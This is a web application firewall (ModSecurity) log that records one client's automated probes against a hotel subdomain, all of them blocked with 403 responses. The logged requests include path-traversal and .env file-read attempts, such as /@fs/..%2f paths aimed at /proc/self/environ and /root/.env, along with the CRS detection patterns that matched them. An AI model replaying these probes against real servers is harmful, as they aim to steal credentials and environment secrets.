[Sun Oct 25 14:43:04.381644 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5NuN6BoG8GuVESjJgBcQAAACU"]
[Sun Oct 25 14:43:04.381982 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5NuN6BoG8GuVESjJgBcQAAACU"]
[Sun Oct 25 14:43:04.382193 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5NuN6BoG8GuVESjJgBcQAAACU"]
[Sun Oct 25 14:43:04.391435 2026] [security2:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60928] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at5NuDh4F5IzB4_aosIHjQAAABQ"]
[Sun Oct 25 14:43:04.391522 2026] [security2:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60928] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at5NuDh4F5IzB4_aosIHjQAAABQ"]
[Sun Oct 25 14:43:04.391565 2026] [security2:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60928] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at5NuDh4F5IzB4_aosIHjQAAABQ"]
[Sun Oct 25 14:43:04.391915 2026] [security2:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60928] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at5NuDh4F5IzB4_aosIHjQAAABQ"]
[Sun Oct 25 14:43:04.392147 2026] [security2:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60928] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at5NuDh4F5IzB4_aosIHjQAAABQ"]
[Sun Oct 25 14:43:04.393086 2026] [security2:error] [pid 2880769:tid 2880769] [client 34.118.177.189:60884] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/proc/self/cwd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at5NuHNQSJj6g_R4pvfwnQAAABI"]
[Sun Oct 25 14:43:04.393240 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60924] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5NuHgFQMGvpHXnWRNuuwAAAB8"]
[Sun Oct 25 14:43:04.393302 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60924] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5NuHgFQMGvpHXnWRNuuwAAAB8"]
[Sun Oct 25 14:43:04.393332 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60924] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5NuHgFQMGvpHXnWRNuuwAAAB8"]
[Sun Oct 25 14:43:04.393371 2026] [security2:error] [pid 2880769:tid 2880769] [client 34.118.177.189:60884] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at5NuHNQSJj6g_R4pvfwnQAAABI"]
[Sun Oct 25 14:43:04.393381 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60924] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5NuHgFQMGvpHXnWRNuuwAAAB8"]
[Sun Oct 25 14:43:04.393590 2026] [security2:error] [pid 2880769:tid 2880769] [client 34.118.177.189:60884] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at5NuHNQSJj6g_R4pvfwnQAAABI"]
[Sun Oct 25 14:43:04.393688 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60924] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5NuHgFQMGvpHXnWRNuuwAAAB8"]
[Sun Oct 25 14:43:04.393964 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60924] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5NuHgFQMGvpHXnWRNuuwAAAB8"]
[Sun Oct 25 14:43:04.406837 2026] [security2:error] [pid 2880797:tid 2880797] [client 34.118.177.189:60904] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at5NuOapooGEQlE2Ll6VwwAAACY"]
[Sun Oct 25 14:43:04.407423 2026] [security2:error] [pid 2880797:tid 2880797] [client 34.118.177.189:60904] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at5NuOapooGEQlE2Ll6VwwAAACY"]
[Sun Oct 25 14:43:04.407695 2026] [security2:error] [pid 2880797:tid 2880797] [client 34.118.177.189:60904] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at5NuOapooGEQlE2Ll6VwwAAACY"]
[Sun Oct 25 14:43:04.408097 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5NuMAxLusXGhv5UJnA4QAAABE"]
[Sun Oct 25 14:43:04.408140 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60914] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5NuBNl8ZOaBiavdxV-lQAAACc"]
[Sun Oct 25 14:43:04.408556 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5NuMAxLusXGhv5UJnA4QAAABE"]
[Sun Oct 25 14:43:04.408560 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60914] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5NuBNl8ZOaBiavdxV-lQAAACc"]
[Sun Oct 25 14:43:04.408790 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5NuMAxLusXGhv5UJnA4QAAABE"]
[Sun Oct 25 14:43:04.408795 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60914] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5NuBNl8ZOaBiavdxV-lQAAACc"]
[Sun Oct 25 14:43:04.412476 2026] [security2:error] [pid 2880769:tid 2880769] [client 34.118.177.189:60884] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5NuHNQSJj6g_R4pvfwngAAABI"]
[Sun Oct 25 14:43:04.413577 2026] [security2:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60928] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/var/task/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at5NuDh4F5IzB4_aosIHjgAAABQ"]
[Sun Oct 25 14:43:04.418981 2026] [security2:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60928] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at5NuDh4F5IzB4_aosIHjgAAABQ"]
[Sun Oct 25 14:43:04.419194 2026] [security2:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60928] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at5NuDh4F5IzB4_aosIHjgAAABQ"]
[Sun Oct 25 14:43:04.422774 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.118.177.189:60852] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5NuDnLqNfi2M7PPfhIxAAAABo"]
[Sun Oct 25 14:43:04.423250 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.118.177.189:60852] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5NuDnLqNfi2M7PPfhIxAAAABo"]
[Sun Oct 25 14:43:04.423471 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.118.177.189:60852] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5NuDnLqNfi2M7PPfhIxAAAABo"]
[Sun Oct 25 14:43:04.423503 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60864] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at5NuAl_YuTmdn3pCPOXkgAAAAk"]
[Sun Oct 25 14:43:04.423929 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at5NuAl_YuTmdn3pCPOXkgAAAAk"]
[Sun Oct 25 14:43:04.424137 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at5NuAl_YuTmdn3pCPOXkgAAAAk"]
